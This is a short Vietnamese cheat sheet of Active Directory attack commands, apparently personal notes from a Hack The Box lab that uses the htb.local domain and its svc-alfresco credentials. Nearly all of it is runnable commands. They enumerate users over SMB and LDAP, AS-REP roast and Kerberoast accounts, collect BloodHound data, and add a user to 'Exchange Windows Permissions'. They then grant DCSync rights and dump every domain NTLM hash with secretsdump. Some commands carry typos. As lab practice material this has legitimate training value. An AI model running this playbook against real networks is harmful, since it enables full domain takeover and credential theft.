Skip to main content

Bí kíp attack AD

Scan nmap

`cnmap -sV -sC $target -oN nmap.txt

netexec smb $IP

Chạy enum tất cả Trường hợp đã có user thì tìm thông tin user Nếu chưa có user có thể tìm thêm thông tin trên web

netexec smb $target -u '' -p '' --users netexec smb $target -u '' -p '' --rid-brute netexec smb $target -u 'guest' -p '' --rid-brute netexec ldap $target -u 'guest' -p '' --users netexec ldap $target -u 'guest' -p '' --rid-brute netexec ldap $target -u '' -p '' --users

Nhớ có SQL và các loại cổng khác

Get list user

Hint cắt user netexec ldap $target -u '' -p '' --users | grep -i 'sidtypeuser' | awk '{print $6}' | cut -d '\' -f2 | tee users.txt netexec ldap $target -u '' -p '' --users | awk '{print $5}' | fgrep -v '[*]' | tee users.txt

Add domain to host

netexec ldap $target -u 'users1.txt' -p '' -k

netexec ldap $target -u 'users1.txt' -p '' -k --asreproast asrep.txt

impacket-GetUserSPNs -dc-ip $target 'DOMAIN/$USER:$PASS' -request

Nếu connect được vào winrm run whoami /all để check hoặc net user hoặc net groups

Sau đó chạy powerUp.ps1 nếu khôgn có thì chạy Winpeas

Chạy bloodhound
netexec ldap $target -u 'svc-alfrosco' -p 's3rvice' --bloodhound --collection All --dns-server $target

net rpc group members "Exchange Windows Permissions" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "htb.local" HTB\Exchange Trusted Subsystem

net rpc group addmem "Exchange Windows Permissions" "svc-alfresco" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "htb.local"

net rpc group members "Exchange Windows Permissions" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "htb.local"

impacket-dacledit -action 'write' -rights 'DCSync' -principal 'svc-alfresco' -target-dn 'DC=htb,DC=local' 'htb.local'/'svc-alfresco':'s3rvice'

Add lại chạy lại thì được

net rpc group members "Exchange Windows Permissions" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "htb.local" HTB\Exchange Trusted Subsystem

net rpc group addmem "Exchange Windows Permissions" "svc-alfresco" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "htb.local"

net rpc group members "Exchange Windows Permissions" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "htb.local"

impacket-secretsdump -just-dc-ntlm htb.local/svc-alfresco:s3rvice@$target

Ở bloodhound tìm target tới domain, add to own Hoặc là tìm các quyền cao hơn Ở winRM có thể tìm cách leo thang